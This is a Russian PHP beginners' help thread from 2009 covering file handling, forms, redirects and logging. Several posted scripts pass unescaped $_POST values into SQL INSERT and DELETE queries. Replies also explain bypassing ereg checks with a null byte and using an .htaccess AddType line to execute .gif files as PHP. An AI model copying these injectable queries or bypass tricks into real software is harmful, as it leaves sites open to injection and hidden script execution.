$h = fopen("text.txt","r");
while ($i <= 9) {
$content .= fgets($h);
$content .= "\r\n";
$i++;
}
fclose($h);
$content=ereg_replace('ready','all. ready',$text); // 5
$w=fopen("text2.txt","r");
fwrite($w,$content);
fclose($w);
?>
PS: извиняюсь, если глупость, я начал учить php позавчера.
Shadow_p1raT
20.02.2009, 16:31
spamoney,проверяй входные данные.Какой тип они имеют
Добавь строчку
is_string($var_name) or die('Переменная '. $var_value. ' не имеет строковой тип!'); //Тут уже смотри на свой вкус,ставить die() или ещё что нибудь
после этой
foreach ($_GET as $var_name=>$var_value) {
Shadow_p1raT
20.02.2009, 16:42
Ion,так?
<?php
$fp = fopen('text.txt','r');
for($i=0;$i<=9;$i++) {
$content .= fgets($fp);
}
fclose($fp);
$content = str_replace('ready','all. ready',$content);
$fp2 = fopen('text2.txt','w');
fwrite($fp2,$content);
fclose($fp2);
?>
Да, так. Спасибо большое. :) Всё работает нормально, но при выполнении скрипта вылезает это:
Notice: Undefined variable: content in T:\home\localhost\1234.php on line 4
Что ему в 4-й строке не нравится?
spamoney По хорошему - надо добавить рекурсивную проверку, если в качестве параметра передают массив, ограничив глубину рекурсии скажем 2-3 уровнями (чтобы не заддосили). Если же уверены, что ваша КМС не принимает массивы в качестве параметра, то сделать, как предложил Shadow_p1raT только вместо die вызывать функцию warn_report
Ion В начале скрипта добавь $content='';
Хм,как осуществить.
Есть страница,большая.Грузим ее филе_гет_конт. и ищем на ней совпадение регуляркой.
Вопрос.Кабы мне сделать:
а)Грузить и искать одновременно,тоесть как только нашел - загрузка прервалась.
б)Выгоднее.ВЫкачивать только часть страницы,например только 100 кб.
Какс?
m0Hze а что тебе мешает скачать полностью и потом парсить регуляркой?
Shadow_p1raT
20.02.2009, 17:49
m0Hze,можно так
<?php
$fp = fopen('http://localhost/test/test.txt', 'rt');
$text = 'antichat';
while(!feof($fp))
{
if(preg_match('#'.preg_quote($text).'#i', fread($fp, 100)))
{
echo 'найдено';
break;
}
}
fclose($fp);
?>
только вроде требует в php.ini
allow url fopen on
Не то.У вас я сначала закачиваю страницу,а уже потом кусками смторю.
А необходимо,выкачать из интернета например первые 100кил,страницы и по ним вести поиск.
Чтото пока думаю,но в моску опятьже только циклы
Все-все,с енотом не спорю,ушел читать :)(Вспомнил про енота-полоскуна :D )
Осталась последняя загвоздка,fopen(); не зайти по кукам :(
Вот сцука.
подскажите мне пожалуйста
<form method="post" name="form">
<p>Название:<br><input name="a" type="text" size="20"></p>
<p>Описание:<br><input name="b" type="text" size="30"></p>
<p>Ссылка:<br><input name="s" type="text" size="20"></p>
<p>Дата:<br><input name="d" type="text" size="20"></p>
<input name="submit" type="submit" value="Добавить">
</form>
<?
include('../setting/bd.php');
if(isset($_POST['a'])){$a = $_POST['a'];}
if(isset($_POST['b'])){$b = $_POST['b'];}
if(isset($_POST['s'])){$s = $_POST['s'];}
if(isset($_POST['d'])){$d = $_POST['d'];}
$result = mysql_query("INSERT INTO includes (a,b,s,d) VALUES('$a','$b','$s','$d')");
if($result == 'true')
{
echo "Добавлено";
}
?>
как сделать чтоб в бд записывало только после нажатия "Добавить" !?
<form method="post" name="form">
<p>Название:<br><input name="a" type="text" size="20"></p>
<p>Описание:<br><input name="b" type="text" size="30"></p>
<p>Ссылка:<br><input name="s" type="text" size="20"></p>
<p>Дата:<br><input name="d" type="text" size="20"></p>
<input name="submit" type="submit" value="Добавить">
</form>
<?php
if(!empty($_POST['submit'])){
include('../setting/bd.php');
if(isset($_POST['a'])){$a = $_POST['a'];}
if(isset($_POST['b'])){$b = $_POST['b'];}
if(isset($_POST['s'])){$s = $_POST['s'];}
if(isset($_POST['d'])){$d = $_POST['d'];}
$result = mysql_query("INSERT INTO includes (a,b,s,d) VALUES('$a','$b','$s','$d')");
if($result == 'true')
{
echo "Добавлено";
}
}
?>
Pashkela
20.02.2009, 20:40
if(isset($_POST['submit'])) {
...А тут всё остальное
}
как с помощью пхп можно возвести число в степень Х ? Существует ли такая функция?
как с помощью пхп можно возвести число в степень Х ? Существует ли такая функция?
<?php
function vStepen($n,$pokazatel)
{
if($pokazatel == 0)
return 1;
if($pokazatel == 1)
return $n;
$buf = $n;
for($i = 1; $i < $pokazatel; $i++)
{
$n *= $buf;
}
return $n;
}
echo vStepen(3,2);
?>
как этот код в функцию запихнуть?
$text=file_get_contents("baza.txt");
$word="слово";
preg_match_all("/.*?$word.*?\\./im",$text,$p);
foreach($p[0] as $v) echo "<li>$v";
пробовал так
function search($_POST){
$text=file_get_contents("baza.txt");
$test = fread($text, $_POST);
preg_match_all("/.*?$_POST.*?\\./im",$text,$p);
foreach($p[0] as $v) echo "<li>$v";
.:EnoT:., не работает, ошибка где то
Я думаю все знают PHProxy, это анонимайзир такой.
Так воть,нужна схема как в нем:
Даем скрипту ссылку на файл,именно файл,причем mp3 (only), и он выкачивает его,одновременно с этим оддавая его пользователю.
Тут я так понимаю нужно юзать сокеты,а затем отдавать заголовки с ответами сокета на скачивание?
В общем както так.
Наверно надо будет в какой то временный файл вставлять или вообще в файл и отдавать его юзеру, ведь пользователь может и с модема сидеть, ну и ресурсы)
еще вопросик:D
<?php
function someFunc($word){
$a = '';
$text = file_get_contents("baza.txt");
preg_match_all('/.*?'.$word.'.*?\\./im', $text, $p);
foreach($p[0] as $v) $a .= '<li>'.$v;
return $a;
}
?>
нужен preg_match_all для русского текста
Спорим что при таком условии, слово "Добавлено" никогда не выведется?
выводит :D
http://s50.radikal.ru/i129/0902/3a/0abaeaf85308t.jpg (http://radikal.ru/F/s50.radikal.ru/i129/0902/3a/0abaeaf85308.jpg.html)
А sql запросы просто мего. Ни один какер не подберётся :D
жжжесть))я позавчера "начал" пхп "изучать" :D
Вот эта херня работает, но не могу подключить html код, то есть чтобы теги <b></b> и <a href =></a> работали в теле письма:(
Например, test, test , test
Необходимо echo подключить?
<?php
$Name = "лашара"; //senders name
$email = "ypachka@ypachka.ru"; //senders e-mail adress
$recipient = "ypachka@ypachka.ru"; //recipient
$mail_body = "test test..."; //mail body
$subject = "test "; //subject
$header = "From: ". $Name . " <" . $email . ">\r\n"; //optional headerfields
mail($recipient, $subject, $mail_body, $header); //mail command :)
?>
Вот эта херня работает, но не могу подключить html код, то есть чтобы теги <b></b> и <a href =></a> работали в теле письма:(
Например, test, test , test
Необходимо echo подключить?
<?php
$Name = "лашара"; //senders name
$email = "ypachka@ypachka.ru"; //senders e-mail adress
$recipient = "ypachka@ypachka.ru"; //recipient
$mail_body = "test test..."; //mail body
$subject = "test "; //subject
$header = "From: ". $Name . " <" . $email . ">\r\n"; //optional headerfields
mail($recipient, $subject, $mail_body, $header); //mail command :)
?>
Добвь хидер.
$headers .= "Content-Type: text/html;";
heretic1990
21.02.2009, 14:32
есть у кого скрипт теста скорости интернета?
$result = mysql_query("SELECT * FROM таблица",$db);
$myrow = mysql_fetch_array($result);
do
{
echo "<span class='links'>"."<a href='$myrow['link']'>Скачать</a>"."</span>";
}
как сделать чтоб он из бд вытаскивал и в <a href=' засовывал ?)
так
echo "<span class='links'>".$myrow['link']."</span>";
выводит, ну тупо текстом...
так
echo "<span class='links'>"."<a href='$myrow['link']'>Скачать</a>"."</span>";
выдает ошибку...
echo '<span class="links">"."<a href='.$myrow['link'].'>Скачать</a>"."</span>';
Здравствуйте, не знал где спросить, но так как это относится и к php - спрашиваю здесь, со всеобщего позволения естественно :)
Такая проблема - закидываю на хостинг файл aaa.php
С кодом:
Строка 1
<? echo 'Строка2';?>
Запускаю файл, но вижу только первую строку Строка1, а Строка2 которую должен был выдать php скрипт не получаю и в коде эта php вставка как будто закомментированная.
Вот здесь можно посмотреть исходный код:
http://arsenka.com/cat/profile.php
Заранее благодарен! :)
[JavaScript]
21.02.2009, 21:46
Надо не
<td align="center"><input type="text" name="name" value="<? echo $my['name']; ?>" size="52"></td>
a
<td align="center"><input type="text" name="name" value="$my['name']" size="52"></td>
Это здесь ни причём, В самом начале код почему комментируется?
Вот пример более простой:
http://lettinger.co.uk/aaa.php
Похоже на short_open_tag=off замени начало кода с <? на <?php если я правильно понял суть проблеммы
Неа, это тоже не помогло:
http://letsfinder.co.uk/index.php :(
В чём может быть причина? Ещё, буквально на прошлой недели всё было нормально :mad:
[JavaScript]
21.02.2009, 22:42
OnArs, попробуйте в .htaccess добавить
AddType application/x-httpd-php .php
']OnArs, попробуйте в .htaccess добавить
AddType application/x-httpd-php .php
Хм, странно, раньше работало и без этого... Большое Спасибо! :)
[JavaScript]
21.02.2009, 23:28
Хм, странно, раньше работало и без этого... Большое Спасибо!
Не знаю какие изменения случились у вас на хостинге, но файлы .php стали неисполняемые, т.е. не исполняли php-код. Для примера можете добавить туда же:
AddType application/x-httpd-php .gifПотом в файл file.gif написать:<?
echo "Работает";
?>Когда зайдете на file.gif, увидите слово Работает.
-m0rgan-
21.02.2009, 23:53
Ре, адепты!
Подскажите как сделать, чтоб при не правильном указание параметра id редирикьило на какую то страницу?
код:
<?
error_reporting(0);
include"config.php";
$id=$_GET['id'];
if($id) {
echo $news;
$query = "SELECT * FROM news where `id`='".mysql_escape_string($id)."'";$result = mysql_query($query);
while ($row = mysql_fetch_array($result)) :
цикл...
endwhile;
}
?>
зарание спасибо!
Ре, адепты!
Подскажите как сделать, чтоб при не правильном указание параметра id редирикьило на какую то страницу?
код:
<?
error_reporting(0);
include"config.php";
$id=$_GET['id'];
if($id) {
echo $news;
$query = "SELECT * FROM news where `id`='".mysql_escape_string($id)."'";$result = mysql_query($query);
while ($row = mysql_fetch_array($result)) :
цикл...
endwhile;
}
?>
зарание спасибо!
после mysql_query
if(!mysql_num_rows($result)) header('Location: xz.php');
-m0rgan-
22.02.2009, 00:37
']после mysql_query
if(!mysql_num_rows($result)) header('Location: xz.php');
Втисал:
<?
error_reporting(0);
include"config.php";
$id=$_GET['id'];
if($id) {
echo $news;
$query = "SELECT * FROM news where `id`='".mysql_escape_string($id)."'";$result = mysql_query($query); if(!mysql_num_rows($result)) header('Location: index.php');
while ($row = mysql_fetch_array($result)) :
цикл...
endwhile;
}
?>
только оно чет не перекидует=(
ввожу : http://localhost/news.php?id=23'
и бестолку :(
-m0rgan-, держи <?
error_reporting(0);
include"config.php";
$id=$_GET['id'];
if (!ereg('^[0-9a-z]+$', $id))
{
die('<meta http-equiv="Refresh" content="0; URL=https://forum.antichat.ru/" />');
}
if($id) {
echo $news;
$query = "SELECT * FROM news where `id`='".mysql_escape_string($id)."'";$result = mysql_query($query);
while ($row = mysql_fetch_array($result)) :
цикл...
endwhile;
}
?>
Shadow_p1raT
22.02.2009, 06:32
Мда....
-m0rgan-,вы уверенны что вариант предложенный [dei] не работает?
Лично у меня всё работатет,но я бы сделал несколько поправочек
В начале скрипта лучше проверять,какой тип имеет переменная
$id = is_numeric($_GET['id']) ? $_GET['id'] : 1;//если переменная не имеет числовой тип,то присвайваем ей по умолчанию значение 1
$query = "SELECT * FROM `news` WHERE `id`='".mysql_escape_string($id)."'";
$result = mysql_query($query);
if(!mysql_num_rows($result)) {
header('Location: index.php');#или так http://".$_SERVER['HTTP_HOST'].dirname($_SERVER['PHP_SELF'])."/index.php"
exit;// Не забываем,что если не поставим exit то скрипт будет дальше продолжать работу
} else {
while ($row = mysql_fetch_array($result)) :
цикл
Zedi,О_о,мега защита.....
ereg легко обходится нулл байтом(%00),тоесть я вставлю в запрос %00,ereg принит его за конец строки и прекратит обработку
Читаем
_ttps://forum.antichat.ru/showthread.php?t=56756
P.S если всё таки не работает header то так
$redir = "http://".$_SERVER['HTTP_HOST'].dirname($_SERVER['PHP_SELF'])."/index.php";
echo '<meta http-equiv="Refresh" content="0; URL='.$redir.'" />';
exit;//забыл,спасибо b3 ;-)
Shadow_p1raT
И обязательно после редиректа exit; ато редирект легко обойти. Подробности там>> http://forum.antichat.ru/thread106766.html
подскажите плиз нормальный php скрипт добавление коментариев...со смайлами и т.д.
зарание спасибо)))
[JavaScript]
22.02.2009, 12:57
http://i-vd.org.ru/scripts/?i=idsubmint&category=cat2&ch=cat2
-m0rgan-
22.02.2009, 13:02
Мда....
-m0rgan-,вы уверенны что вариант предложенный [dei] не работает?
Лично у меня всё работатет,но я бы сделал несколько поправочек
В начале скрипта лучше проверять,какой тип имеет переменная
$id = is_numeric($_GET['id']) ? $_GET['id'] : 1;//если переменная не имеет числовой тип,то присвайваем ей по умолчанию значение 1
$query = "SELECT * FROM `news` WHERE `id`='".mysql_escape_string($id)."'";
$result = mysql_query($query);
if(!mysql_num_rows($result)) {
header('Location: index.php');#или так http://".$_SERVER['HTTP_HOST'].dirname($_SERVER['PHP_SELF'])."/index.php"
exit;// Не забываем,что если не поставим exit то скрипт будет дальше продолжать работу
} else {
while ($row = mysql_fetch_array($result)) :
цикл
Zedi,О_о,мега защита.....
ereg легко обходится нулл байтом(%00),тоесть я вставлю в запрос %00,ereg принит его за конец строки и прекратит обработку
Читаем
_ttps://forum.antichat.ru/showthread.php?t=56756
P.S если всё таки не работает header то так
$redir = "http://".$_SERVER['HTTP_HOST'].dirname($_SERVER['PHP_SELF'])."/index.php";
echo '<meta http-equiv="Refresh" content="0; URL='.$redir.'" />';
exit;//забыл,спасибо b3 ;-)
О, пасибо!
заработало с
$redir = "http://".$_SERVER['HTTP_HOST'].dirname($_SERVER['PHP_SELF'])."/index.php";
echo '<meta http-equiv="Refresh" content="0; URL='.$redir.'" />';
exit;//забыл,спасибо b3 ;-)
-m0rgan-
22.02.2009, 14:15
Вот еще появился вопрос по этому скрипту:
Редириктить то оно редириктит, но не при всех не правильных значениях...
Мне нужно, чтобы параперт id принимал только числовые значения, при подстановке каких либо символов он редиректил...
в даный момент редириктин при таком запросе:
http://localhost/news.php?id=-25
а при http://localhost/news.php?id=25'
страница остается в прежнем состояие...
можно ли сделать так, чтобы при определенных значениях id редиректило?
Кубик Рубик
22.02.2009, 14:44
Привет, я создаю двуязычную версию сайта, русский и английский. Мне нужно чтобы каждый из них индексировался поисковиками как отдельный сайт. Поэтому я все же решил использовать поддомены. Так вопрос как мне это сделать(?lang=ru перенести на ru.site.com)?
у меня в этом деле опыта небыло, но идея такая появилась
допустим такой участок кода <title>".$title."</title>
и есть два файла, в одном русский язык в другом анг
например в eng.php будет:
$title="My Site";
а в rus.php
$title="Мой сайт";
и потом в зависимости от того на каком языке должен быть сайт инклудишь тот или иной файл
Думаю идея понятна
-m0rgan-
22.02.2009, 14:50
и есче подскажите плиз скрипт, который записывает ип в логи!
и есче подскажите плиз скрипт, который записывает ип в логи!
$fp = fopen('for_logs.txt', 'a+');
fputs($fp, $_SERVER['HTTP_USER_AGENT']." ".$_SERVER['REMOTE_ADDR']." ".date('d.m.Y')."\r\n");
fclose($fp);
скопировал из своего скрипта,если надо только Ip ,то оставишь только $_SERVER['REMOTE_ADDR']
если просто последовательно соединить то вот <?php
include('../bd.php');
if (isset($_POST['id'])) {$id = $_POST['id'];}
if (isset($id))
{
$result = mysql_query ("DELETE FROM a WHERE id='$id'");
if ($result == 'true') {echo "<p>del</p>";}
else {echo "<p>del</p>";}
}
else
{
?>
<form action="del.php" method="post">
<?
$result = mysql_query("SELECT title,id FROM a");
$myrow = mysql_fetch_array($result);
do
{
printf ("<p><input name='id' type='radio' value='%s'><label> %s</label></p>",$myrow["id"],$myrow["title"]);
}
while ($myrow = mysql_fetch_array($result));
?>
<input name="submit" type="submit" value="удалить">
</form>
<?php
}
?> если не так то объясни как тебе надо
<?
include('../bd.php');
if(!empty($_POST)) {
if (isset($_POST['id'])) {$id = $_POST['id'];}
if (isset($id))
{
$result = mysql_query ("DELETE FROM a WHERE id='$id'");
if ($result == 'true') {echo "<p>del</p>";}
else {echo "<p>del</p>";}
}
else
{
echo "<p>no =\</p>";
}
} else : ?>
<form action="del.php" method="post">
<?
$result = mysql_query("SELECT title,id FROM a");
$myrow = mysql_fetch_array($result);
do
{
printf ("<p><input name='id' type='radio' value='%s'><label> %s</label></p>",$myrow["id"],$myrow["title"]);
}
while ($myrow = mysql_fetch_array($result));
?>
<input name="submit" type="submit" value="удалить">
</form>
<? endif; ?>
-m0rgan-
22.02.2009, 16:54
$fp = fopen('for_logs.txt', 'a+');
fputs($fp, $_SERVER['HTTP_USER_AGENT']." ".$_SERVER['REMOTE_ADDR']." ".date('d.m.Y')."\r\n");
fclose($fp);
скопировал из своего скрипта,если надо только Ip ,то оставишь только $_SERVER['REMOTE_ADDR']
Спасибо!
А как сделать, чтоб записался запрос сделаний до редирикта на страницу в которой это записуется?
идея такова:
при попытке провеления атаки будет редериктить на страницу с сообщением, на которой будут записыватся даные атакующего...
зарание спасибо!
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot